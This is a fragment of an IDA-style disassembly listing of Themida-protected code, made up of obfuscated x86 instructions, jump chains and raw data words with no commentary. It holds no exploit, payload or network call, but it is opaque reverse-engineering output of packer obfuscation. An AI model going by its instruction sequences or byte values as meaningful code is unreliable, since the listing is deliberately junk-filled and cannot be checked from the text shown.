loc_50B657:				; CODE XREF: Themida_:005100FFj
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_51A34F
; ---------------------------------------------------------------------------


loc_50B66A:				; CODE XREF: Themida_:00520F55j
		push	esi
		mov	esi, 4
		add	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_51E85A
; ---------------------------------------------------------------------------
aISG		db '[',0Ah
		db '',0
		db 0
; ---------------------------------------------------------------------------


loc_50B68F:				; CODE XREF: Themida_:0051CA15j
		shl	ecx, 1
		add	ecx, 0E047D25Bh
		and	ebx, ecx
		jmp	loc_511B47
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 4C381h, 1C870000h, 0C0685C24h, 89000036h,	93BE2434h
		dd 812E546Eh, 0B14EE6EEh, 0BDF6815Ah, 8122B179h, 0ED99F4C6h
		dd 5EF7010Eh, 0E9E38953h, 3841h, 1B70685Fh, 43E90000h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50B6E3:				; CODE XREF: Themida_:00510307j
		pop	ebp
		mov	eax, edi
		jmp	loc_511443
; ---------------------------------------------------------------------------


loc_50B6EB:				; CODE XREF: Themida_:005162C1j
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	ebp
		push	2E8Ch
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_51DF55
; ---------------------------------------------------------------------------


loc_50B70C:				; CODE XREF: Themida_:00511400j
		mov	eax, 0CF17E915h
		jmp	loc_519B28
; ---------------------------------------------------------------------------


loc_50B716:				; CODE XREF: Themida_:005103B9j
		pop	ebx
		sub	ecx, 0FFFFFFFFh
		push	ebp
		mov	ebp, 0B396320Eh
		sub	ecx, ebp
		pop	ebp
		sub	edi, 15F91B7Ah
		add	edi, ecx
		jmp	loc_512F75
; ---------------------------------------------------------------------------
aTzsvu		db 'TZv',0
		dw 8B00h
		dd 0C483242Ch, 0A3BD5504h, 0E96A2641h, 10889h
; ---------------------------------------------------------------------------


loc_50B748:				; CODE XREF: Themida_:00519924j
		shl	ebx, 5
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4D5A0634h
		xor	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	1FFEh
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	eax
		mov	eax, 1B226307h
		not	eax
		dec	eax
		sub	eax, 0E4DD9CF3h
		sub	ebx, 4B9E5DDFh
		add	ebx, eax
		add	ebx, 4B9E5DDFh
		pop	eax
		push	edx
		jmp	loc_5134AC
; ---------------------------------------------------------------------------
		dw 5456h
		dd 4C6815Eh, 0E9000000h, 0ABA8h, 0C581F501h, 35C77A0Eh
		dd 9540955Eh, 9AD7E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50B7C2:				; CODE XREF: Themida_:0051653Cj
		neg	ebx
		shl	ebx, 3
		sub	ebx, 0FDD64B3Eh
		xor	ecx, ebx
		pop	ebx
		neg	ecx
		push	3923h
		mov	[esp], ebx
		jmp	loc_51DD22
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 956BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50B7EA:				; CODE XREF: Themida_:0050C285j
		pop	esp
		shr	dl, 8
		jmp	loc_51A55F
; ---------------------------------------------------------------------------


loc_50B7F3:				; CODE XREF: Themida_:0050C3CAj
		push	ebp
		push	2B4769Eh
		pop	ebp
		push	eax
		mov	eax, 351D14E2h
		and	ebp, eax
		pop	eax
		push	edi
		mov	edi, 6F360F8h
		push	ecx
		mov	ecx, 0
		sub	ecx, edi
		xchg	ecx, edi
		pop	ecx
		jmp	loc_512F00
; ---------------------------------------------------------------------------
aSdx		db ']d',0
		db 0
; ---------------------------------------------------------------------------


loc_50B81F:				; CODE XREF: Themida_:0050D4DEj
		mov	[esp], esi
		mov	esi, 5C162E77h
		jmp	loc_51C151
; ---------------------------------------------------------------------------
		dd 59243489h, 88F9015Eh, 240C8B01h, 4C481h, 0A2E90000h
		dd 89FFFFFDh, 243C8BFBh, 4C481h, 0D8010000h, 83241C8Bh
		dd 2C8B04C4h, 4C48124h,	68000000h, 1E54h, 52243489h, 8685BAh
		dd 5AD68974h, 0AF0CE9h,	78B500h, 285966E8h, 1FB551F8h
		dd 28A7ED80h, 1C8B59E8h, 0F9EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50B88E:				; CODE XREF: Themida_:005148D1j
		sub	esi, ebp
		jmp	loc_513110
; ---------------------------------------------------------------------------


loc_50B895:				; CODE XREF: Themida_:00515414j
		and	al, 0Ah
		add	al, 15h
		add	al, 0E7h
		sub	cl, al
		pop	eax
		jmp	loc_519CC5
; ---------------------------------------------------------------------------
		db 64h
		dd 2B60F66h, 4A7168h, 240C8900h, 11DBDE9h, 5FC96800h, 14890000h
		dd 4EC8324h, 67C968h, 24248900h, 4240481h, 8F000000h, 0E9512404h
		dd 146B4h
; ---------------------------------------------------------------------------


loc_50B8D8:				; CODE XREF: Themida_:0050F3FBj
		and	ebx, 6AC369EDh
		sub	ebx, 0FDC6BEE6h
		jmp	loc_518224
; ---------------------------------------------------------------------------


loc_50B8E9:				; CODE XREF: Themida_:0051FC8Dj
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 40A85AA4h
		sub	ebp, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 56D76056h
		not	ecx
		add	ecx, 5D5E57ECh
		or	ecx, 24183145h
		jmp	loc_50CC7B
; ---------------------------------------------------------------------------


loc_50B922:				; CODE XREF: Themida_:0051D66Dj
		sub	eax, 2B826A8Ch
		mov	ebx, [esp]
		jmp	loc_51D9F7
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0AA48EE2Dh, 5E80165h, 65AA48EEh, 8904EC83h, 0BF57240Ch
		dd 71DA0E0Bh, 6A18D6B9h, 5FF9312Ah, 2F7BC181h, 0D1F7598Eh
		dd 15AD68h, 241C8900h, 0BA35F0BBh, 55D3F71Fh, 2856A9BDh
		dd 0E9EB29B2h, 137BDh, 12B2E95Ch, 52BF0001h, 81262B2Ah
		dd 7E7580C7h, 0D1EF812Ah, 2950A99Fh, 0EA815FFAh, 34F66BD5h
		dd 48FE9h, 48B6600h, 2845E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50B9A2:				; CODE XREF: Themida_:005119C7j
		pop	ebx
		sub	al, 0B7h
		jmp	loc_517364
; ---------------------------------------------------------------------------


loc_50B9AA:				; CODE XREF: Themida_:0051E1ACj
		add	esi, 4
		jmp	loc_51286D
; ---------------------------------------------------------------------------
		dw 5D5Dh
		dd 4B850h, 0C5010000h, 4C58358h, 12156E9h, 11C58100h, 812DD545h
		dd 137359EBh, 81EB291Dh, 137359C3h, 242C8B1Dh, 4C481h
		dd 0C3810000h, 6E315418h, 0EB81C329h, 6E315418h, 0B16FE955h
		dd 0C890000h, 276AE924h, 0E9800000h, 0FFF18054h, 5001E980h
		dd 7E94CB0h, 29000094h,	77405F8h, 7BE94AA8h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50BA1B:				; CODE XREF: Themida_:0051453Aj
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edi
		push	ebx
		mov	ebx, 56E55EF4h
		neg	ebx
		sub	ebx, 58B91CDDh
		not	ebx
		shr	ebx, 4
		or	ebx, 577703F0h
		sub	ebx, 5FFFE7F9h
		sub	edi, 58623AEFh
		add	edi, ebx
		add	edi, 58623AEFh
		pop	ebx
		jmp	loc_5210B8
; ---------------------------------------------------------------------------
		db 0E9h, 77h, 0FBh
		dd 0C481FFFFh, 4, 6ACFBA52h, 7CE92888h,	580000A0h, 6407E9h
		dd 243C8900h, 0BF121C68h, 0C7815F66h, 2223AE9h,	372BA52h
		dd 0D701C6A2h, 3F8FE9h,	0FFF98800h, 835B2434h, 0C18004C4h
		dd 66D90042h, 0E942B450h, 0C881h
; ---------------------------------------------------------------------------


loc_50BAB8:				; CODE XREF: Themida_:00514334j
		push	ebx
		mov	ebx, 84F6FABBh
		add	ecx, ebx
		pop	ebx
		jmp	loc_514C10
; ---------------------------------------------------------------------------
		dw 0FD28h
		dd 1C5805Bh, 5239CD80h,	0F280C2B2h, 10EAE9A7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50BADA:				; CODE XREF: Themida_:00517BE9j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5187DC
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 4C781h, 3C870000h, 0E9575C24h, 8BFAh
; ---------------------------------------------------------------------------


loc_50BB08:				; CODE XREF: Themida_:0051B96Dj
		push	1570h
		mov	[esp], edi
		push	1
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_515FE8
; ---------------------------------------------------------------------------
		dw 5B66h
		dd 5166CDFEh, 12454F6h,	0F5805966h, 83DDF616h, 896602ECh
		dd 0DB02404h, 5866C530h, 8B66EB28h, 1E9240Ch, 890000C8h
		dd 0EAC158C2h, 81E2D102h, 9129DACAh, 0A153E91Eh, 0E6890000h
		dd 3526BD55h, 0DBE97D07h, 10000FDh, 56685BDFh, 0E900002Ch
		dd 0D411h, 0DFEA80h, 52535AD0h,	12255E9h
		db 0
; ---------------------------------------------------------------------------


loc_50BB91:				; CODE XREF: Themida_:0051735Fj
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 5F635B87h
		jmp	loc_512926
; ---------------------------------------------------------------------------
		db 29h
		dd 2E13E9CFh, 0F0280000h, 0E9535B5Ah, 0DCBCh, 5C243C87h
		dd 7BAB68h, 24348900h, 468h, 2D34E900h,	31AD0000h, 90668D8h
		dd 3C890000h, 7B476824h, 3C8B11F6h, 0DA79E924h,	0C5010000h
		dd 68555058h, 7306297Bh, 8F20E95Dh, 0E5890000h,	4C581h
		dd 0C5830000h, 242C8704h, 1C02685Ch, 34890000h,	0CD4EE924h
		dd 832C0000h, 8304D028h, 75CCE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50BC16:				; CODE XREF: Themida_:0051927Aj
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		xchg	edi, ebp
		not	edi
		xor	ebp, edi
		xor	edi, ebp
		jmp	loc_51BA23
; ---------------------------------------------------------------------------


loc_50BC2A:				; CODE XREF: Themida_:005123C1j
		mov	[esp], ecx
		jmp	loc_51384F
; ---------------------------------------------------------------------------
		dw 565Bh
		dd 152E3E9h
		db 0
; ---------------------------------------------------------------------------


loc_50BC39:				; CODE XREF: Themida_:0050E228j
		pop	eax
		add	ebx, edx
		jmp	loc_517CA1
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 25h
		db 0F1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_50BC47:				; CODE XREF: Themida_:0051C0B4j
		sub	ecx, 3D3033FCh
		sub	ecx, ebp
		add	ecx, 3D3033FCh
		mov	ebp, [esp]
		add	esp, 4
		xor	ecx, 0EDA05B5h
		jmp	loc_5199BE
; ---------------------------------------------------------------------------


loc_50BC69:				; CODE XREF: Themida_:00518ECFj
		mov	[esp], eax
		mov	eax, 98017A4h
		jmp	loc_51C75C
; ---------------------------------------------------------------------------
		dw 565Ah
		dd 0F406D668h, 0C6815E7Eh, 9185931h, 0FF31E9h, 15EB8100h
		dd 29ADE9C0h, 24348BF3h, 0E904C483h, 2CA7h, 0B581E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50BCA2:				; CODE XREF: Themida_:0051AA13j
		add	edx, eax
		jmp	loc_516EAE
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 19h
		dd 83000051h, 0DE0104C4h, 0E92434FFh, 3ED0h, 981EB81h
		dd 0D8016056h, 24348B5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4BD92B32h
		jmp	loc_51B515
; ---------------------------------------------------------------------------
		dd 0DD27EF81h, 0F8011C74h, 280B685Fh, 34890000h, 482D6824h
		dd 2C890000h, 126C6824h, 0D15D3353h, 398D68EDh,	34890000h
		dd 6B02BE24h, 0DEF77879h, 0B18CF681h, 0F521A7EAh, 1ED815Eh
		dd 0E9000000h, 1122Eh
; ---------------------------------------------------------------------------


loc_50BD28:				; CODE XREF: Themida_:0051AC84j
		pop	ebx
		sub	bl, 0C8h
		sub	bl, dh
		jmp	loc_51BA48
; ---------------------------------------------------------------------------
		db 58h
		dd 0E959C889h, 138EDh
; ---------------------------------------------------------------------------


loc_50BD3C:				; CODE XREF: Themida_:005123AFj
		push	edx
		mov	edx, 1A721423h
		or	edx, 1CF05D9h
		or	edx, 4466273Dh
		jmp	loc_50F45F
; ---------------------------------------------------------------------------


loc_50BD53:				; CODE XREF: Themida_:00516A27j
		shr	ebx, 1
		add	ebx, 79A4653Ah
		or	ebx, 2F732DD7h
		jmp	loc_516E08
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_51E907
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 81000000h, 4EDh, 242C8700h, 4EFDE95Ch
		db 1, 0
; ---------------------------------------------------------------------------


loc_50BD96:				; CODE XREF: Themida_:005165C5j
		add	[esp+8], esi
		pop	esi
		jmp	loc_521120
; ---------------------------------------------------------------------------


loc_50BDA0:				; CODE XREF: Themida_:0051CBBCj
		xor	ebx, [esp]
		jmp	loc_50CC75
; ---------------------------------------------------------------------------
		dd 1C28342h, 0B2A2E955h, 0C8FE0000h, 408E8C0h, 9E952A9h
		dd 8000009Fh, 0B8E913F2h
		db 0F6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_50BDC7:				; CODE XREF: Themida_:005162DFj
		add	edi, 4
		jmp	loc_51A5FF
; ---------------------------------------------------------------------------
		dw 0CF81h
		dd 41D17AA1h, 2636EF81h, 0FE89AFBEh, 5EF5295Fh,	4EC81h
		dd 14890000h, 2F44BA24h, 0D0297D7Ah, 6D5F055Ah,	6CE97794h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50BDFF:				; CODE XREF: Themida_:005197DEj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_512853
; ---------------------------------------------------------------------------
aWsS		db 'W/',0
		align 4
		dd 28BACA81h, 0F2810C8Ch, 0EFCCFEBBh, 148BD701h, 4C48324h
		dd 90BBE56h, 0EEC13947h, 0FFBF5705h, 0E9FFFFFFh, 0F00h
; ---------------------------------------------------------------------------


loc_50BE50:				; CODE XREF: Themida_:00512080j
		push	3530309h
		pop	eax
		push	esi
		push	722Ch
		mov	[esp], eax
		mov	eax, 60336729h
		add	eax, 4C625BAEh
		dec	eax
		not	eax
		sub	eax, 7430117h
		and	eax, 61613203h
		sub	eax, 3CCE2DF9h
		mov	esi, eax
		pop	eax
		sub	eax, esi
		pop	esi
		jmp	loc_515230
; ---------------------------------------------------------------------------


loc_50BE86:				; CODE XREF: Themida_:00516AC0j
		pop	eax
		push	3EA6h
		mov	[esp], ebp
		push	esp
		jmp	loc_51EE27
; ---------------------------------------------------------------------------
		db 0ACh, 4, 0D6h
		dd 80E3B551h, 0B32CC1F5h, 0B304E800h, 0EEE9h, 59685F00h
		dd 89000047h, 36E92414h
		db 21h,	1, 0
; ---------------------------------------------------------------------------


loc_50BEB7:				; CODE XREF: Themida_:00516201j
		xor	[esp+4], edi
		jmp	loc_51A6BB
; ---------------------------------------------------------------------------
		dd 2EC81h, 89660000h, 6FE9241Ch, 8300009Ah, 0BA5B04C4h
		dd 5478543Ch, 5366EA81h, 0FA294FABh, 5366BF57h,	0FA014FABh
		dd 18EE95Fh, 0EB010000h, 83242C8Bh, 0C32904C4h,	53E268h
		dd 24048900h, 51BB6853h, 8EE94484h, 52000126h, 0A43CE9h
		dd 4C48100h, 0E9000000h, 74CFh,	6606EAC0h, 28D8B551h, 12E0E9EAh
		dd 0C1810000h, 4, 13EF3E9h, 0D831AD00h,	23976851h, 3C890000h
		dd 4BEC6824h, 2C890000h, 483BBD24h, 3CBF4AE9h, 81C89A97h
		dd 0CB6247EFh, 81EF017Dh, 0CB6247C7h, 2434FF7Dh, 83242C8Bh
		dd 0C48304C4h, 473B6804h, 34890000h, 4815724h, 0AA62D624h
		dd 0EE815E21h, 21AA62D6h, 78E95556h, 0BB0000D1h, 4, 1CE9DE01h
		dd 59000060h, 0B151D800h, 7FA868B6h, 64E90000h,	5E0000D6h
		dd 3A6BEB81h, 0A2E91E55h
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50BFB3:				; CODE XREF: Themida_:00510123j
		add	dword ptr [esp+4], 29F7482Bh
		jmp	loc_5112CE
; ---------------------------------------------------------------------------
		dd 8B04C483h, 35682434h, 8900003Ah, 0E0892404h,	88EE9h
		db 0
; ---------------------------------------------------------------------------


loc_50BFD5:				; CODE XREF: Themida_:0051D3B4j
		sub	ecx, 4
		push	2391h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_50D26D
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 4C481h, 0C2810000h, 4, 4EC81h, 29E90000h
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_50C013:				; CODE XREF: Themida_:0051F51Bj
		pop	edx
		jmp	loc_510C75
; ---------------------------------------------------------------------------
		db 0F7h, 0DFh, 0F7h
		dd 0F78147D7h, 537A6C70h, 0FFF81AE9h, 0E9565CFFh, 0B615h
; ---------------------------------------------------------------------------


loc_50C030:				; CODE XREF: Themida_:0051A6B6j
		pop	esp
		or	eax, eax
		jz	loc_5162C0
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], esi
		push	6F28h
		jmp	loc_518FCF
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0FD87h, 241C8B66h, 0E6DDE9h
		db 0
; ---------------------------------------------------------------------------


loc_50C05D:				; CODE XREF: Themida_:005107D3j
		xor	ch, dl
		jmp	loc_515E70
; ---------------------------------------------------------------------------
		dd 4BEh, 24740100h, 52595E04h, 4BAh, 0E9D10100h, 8F8Eh
		dd 5F2434FFh, 49C0E9h
		db 0
; ---------------------------------------------------------------------------


loc_50C085:				; CODE XREF: Themida_:00513EA3j
		add	eax, ebx
		sub	eax, 47493691h
		pop	ebx
		pop	ecx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		shr	ecx, 6
		push	2276h
		mov	[esp], edi
		jmp	loc_520917
; ---------------------------------------------------------------------------


loc_50C0A7:				; CODE XREF: Themida_:0051B0A4j
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 3A7A4528h
		not	edx
		jmp	loc_511E28
; ---------------------------------------------------------------------------
		db 89h,	0F0h, 5Eh
		dd 5CCDE9h, 0E9E08900h,	1FBAh, 8048C281h, 0D301DD67h, 0E924148Bh
		dd 14867h, 0E924248Bh, 2CE9h, 785FBA52h, 424244C1h, 565CEA81h
		dd 0D029E456h, 0FFF836E9h, 4C481FFh, 0E9000000h, 557h
		dd 5C240C87h, 0EC368h, 241C8900h, 42474FFh, 8B2434FFh
		dd 0C481241Ch, 4, 4C481h, 48F0000h, 24248B24h, 8B2434FFh
		dd 0C4832414h, 77B86804h, 14890000h, 232E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_50C142:				; CODE XREF: Themida_:0051A52Ej
		push	ebx
		mov	ebx, 3A581E1Ah
		sub	edx, ebx
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		dec	edx
		push	esi
		mov	esi, 48097E0Dh
		and	edx, esi
		jmp	loc_51A8A8
; ---------------------------------------------------------------------------
		dw 1489h
aS9		db '$9',0
		align 2
		dw 248Bh
		dd 14896624h, 9C506624h, 0FFF46CE9h, 240C33FFh,	33240C31h
		dd 248B240Ch, 4896624h,	0F457E924h, 0DBF7FFFFh,	32ACC381h
		dd 814307D5h, 435F4EEBh, 5BDA01C3h, 6DCDEE81h, 0D60128C5h
		dd 5718E9h, 4E98100h, 87000000h, 895C240Ch, 0D5E92434h
		db 0FDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_50C1BF:				; CODE XREF: Themida_:005182E2j
		push	bx
		mov	bh, 87h
		mov	cl, bh
		pop	bx
		shr	cl, 5
		shr	cl, 8
		jmp	loc_50E4F4
; ---------------------------------------------------------------------------
		dw 0E5BBh
		dd 0B858D25Bh, 0E1661FDEh, 835BD801h, 0E95701E8h, 0ADAEh
; ---------------------------------------------------------------------------


loc_50C1E8:				; CODE XREF: Themida_:00516F91j
		add	edi, 4BD12DF9h
		pop	esi
		sub	esp, 4
		jmp	loc_51788C
; ---------------------------------------------------------------------------
		dw 405h
		dd 2D000000h, 4, 5C240487h, 38C8E9h, 24048F00h,	2434895Ch
		dd 0A55CE9h
		db 0
; ---------------------------------------------------------------------------


loc_50C219:				; CODE XREF: Themida_:005153F4j
		push	2E2346CDh
		pop	edi
		neg	edi
		jmp	loc_520555
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 8754E9h, 0CEB8000h, 9C13E9h, 0FB015900h, 0E9243C8Bh
		dd 12B3Eh, 243C895Ch, 28E8E9h, 8E6C100h, 1144E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50C256:				; CODE XREF: Themida_:0051EEBBj
		add	edi, 4
		sub	edi, 4
		jmp	loc_50C3C3
; ---------------------------------------------------------------------------


loc_50C267:				; CODE XREF: Themida_:00518EB9j
		dec	al
		jmp	loc_519FC2
; ---------------------------------------------------------------------------


loc_50C26E:				; CODE XREF: Themida_:0051BA56j
		mov	[esp], edx
		jmp	loc_51FF17
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		jmp	loc_50B7EA
; ---------------------------------------------------------------------------
		dw 0C329h
		dd 0F6AEE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50C292:				; CODE XREF: Themida_:0051C708j
		push	esp
		jmp	loc_51B4E0
; ---------------------------------------------------------------------------
		dd 5EF1015Eh, 0E9240C87h, 11F4Bh, 4246C01h, 8EE95E5Dh
		dd 8300008Ah, 81FD04C4h, 4ECh, 241C8900h, 0F37BE56h, 3BE96667h
		dd 0FF0000B8h, 8B042474h, 0C481243Ch, 4, 5C24048Fh, 8B24048Fh
		dd 9AE92424h, 2900000Eh, 0E5C15AD5h, 8679E907h,	8D0D0000h
		dd 53103A2Ch, 0FF88E9h
		db 0
; ---------------------------------------------------------------------------


loc_50C2F9:				; CODE XREF: Themida_:0051CA08j
		push	dword ptr [esp]
		pop	esi
		push	ebx
		mov	ebx, esp
		jmp	loc_514940
; ---------------------------------------------------------------------------
		db 0F7h, 0DAh, 42h
		dd 0C689F281h, 0D029B8CAh, 1E6E9h, 2474FF00h, 48F5A04h
		dd 72E95C24h
		db 0E0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_50C323:				; CODE XREF: Themida_:005203C2j
		xor	dword ptr [edi+20h], 78364A0Ah
		mov	ebp, [esp]
		jmp	loc_51EB32
; ---------------------------------------------------------------------------
		dw 0D901h
		dd 1270E981h, 1C8B1056h, 0E1895124h, 4C181h, 0C1810000h
		dd 4, 5C240C87h, 2C181h, 26E90000h, 660000B7h, 8324048Bh
		dd 3C8904ECh, 685F5424h, 0A17h,	68241489h, 70F90AB9h, 0D3F2815Ah
		dd 560A1338h, 108B5E9h
		db 0
; ---------------------------------------------------------------------------


loc_50C381:				; CODE XREF: Themida_:0051037Fj
		sub	ecx, 2D24179Eh
		pop	edi
		add	ecx, 1C79ABh
		jmp	loc_5120E2
; ---------------------------------------------------------------------------
		db 81h
		dd 901A3C7h, 0E956523Fh, 8CCAh,	0EEC1D6F7h, 0C1D6F708h
		dd 0C68106E6h, 2CF2B1C4h, 4EC81h, 1C890000h, 14CEBB24h
		dd 89E93700h
		db 0F3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_50C3C3:				; CODE XREF: Themida_:0050C262j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_50B7F3
; ---------------------------------------------------------------------------
		db 29h
		dd 0E9102444h, 0E90Eh
; ---------------------------------------------------------------------------


loc_50C3D8:				; CODE XREF: Themida_:0051B19Aj
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		pop	edx
		jmp	loc_51A853
; ---------------------------------------------------------------------------


loc_50C3E8:				; CODE XREF: Themida_:0050DB81j
		mov	eax, ebp
		pop	ebp
		jmp	loc_5194F0
; ---------------------------------------------------------------------------
aHMEsr		db 'hmER',0
		align 2
		dw 0B753h
		dd 5BF98886h, 5966C828h, 8058C328h, 24E94EC3h, 81000073h
		dd 4C1h, 0E0895000h, 405h, 4E88300h, 5C240487h,	590BE9h
		dd 48B6600h, 0BD06E924h, 96B60000h, 3E8468h, 241C8900h
		dd 6E9D3B3h, 81000106h,	4C4h, 1DF4E900h, 0C8B0000h, 4C48124h
		dd 0E9000000h, 13EB1h, 9D1C77FFh, 0D3665966h, 0E99C241Ch
		dd 0FFFFF179h, 2434335Dh, 33243431h, 0BEE92434h, 0B90000F9h
		dd 0C001AFBh, 0D856E9h
		db 0
; ---------------------------------------------------------------------------


loc_50C485:				; CODE XREF: Themida_:005173D5j
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_51E4CE
; ---------------------------------------------------------------------------
		dd 8904EC83h, 88BE2434h, 8125EA6Eh, 0DC5E10C6h,	14ACE910h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50C4AA:				; CODE XREF: Themida_:0051C8FBj
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	67BFh
		mov	[esp], ebx
		push	528902C1h
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	5125h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	edi
		push	ebp
		mov	ebp, 6D9E3D11h
		add	ebp, 0F5627D2h
		shl	ebp, 7
		jmp	loc_516309
; ---------------------------------------------------------------------------
		db 0FFh
		dd 7FE92434h, 5700007Fh, 0BE7430BFh, 0A66E95Ch
		db 1, 0
; ---------------------------------------------------------------------------


loc_50C50E:				; CODE XREF: Themida_:0050CA36j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_51CA3C
; ---------------------------------------------------------------------------


loc_50C519:				; CODE XREF: Themida_:0050FC7Dj
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	esi
		and	eax, edi
		jmp	loc_51B95D
; ---------------------------------------------------------------------------


loc_50C52C:				; CODE XREF: Themida_:005128BFj
		mov	edi, esp
		jmp	loc_51EF1D
; ---------------------------------------------------------------------------
		db 0FFh
a4So		db '4$鮲',0
		dw 8100h
		dd 913785F5h, 38C18188h, 12A0166h, 38BA52E9h, 292A0166h
		dd 0BB3DE9D1h, 6C010000h, 8F5D0424h, 4812404h, 424h, 2434FF00h
		dd 5A2434FFh, 0EB83E9h,	24048B00h, 81E78957h, 4C7h, 4C78300h
		dd 5C243C87h, 6F1568h, 24348900h, 24348B54h, 0E904C483h
		dd 0E73h, 0E904C683h, 801Ah, 2474FF52h,	48F5A04h, 7EE95C24h
		dd 81000070h, 4C4h, 789E900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_50C5BA:				; CODE XREF: Themida_:0051077Dj
		add	ecx, 4
		jmp	loc_514697
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 4EC81h, 0C890000h, 0A7EFE924h, 34FF0000h, 0C4815B24h
		dd 4, 6DABB850h, 0F7406650h, 0E9D0F7D8h, 6EAFh,	50E38953h
		dd 0B13B29B8h, 41590558h, 86354A20h, 1A2D17Ch, 0BE75E9C3h
		dd 8B590000h, 8FE9241Ch, 6600002Ch, 6824048Bh, 2FBEh, 68242C89h
		dd 3B18h, 52242489h, 4BAh, 0C5BD5500h, 814C0067h, 1308246Ch
		dd 17FFF33h, 8108246Ch,	13082444h, 0E97FFF33h, 124D3h
		dd 4EC815Bh, 89000000h,	64E9243Ch, 5500002Dh, 9907DEBDh
		dd 0E3ED8126h, 29A729D8h, 242C8BEEh, 0E904C483h, 4C4Ch
		dd 24048B66h, 8904EC83h, 0E954241Ch, 8421h, 4C481h, 0EC830000h
		dd 240C8904h, 0E98001B1h, 39E95041h, 100003Bh, 2AEF81DFh
		dd 8B429E63h, 76E9241Ch, 680000D3h, 4F29h, 0E9243C89h
		dd 795Ah, 85BD830h, 0C9FE58C1h,	0E9F1E980h, 16ACh
; ---------------------------------------------------------------------------


loc_50C6C8:				; CODE XREF: Themida_:005160AFj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 58571EABh
		jmp	loc_5181FB
; ---------------------------------------------------------------------------


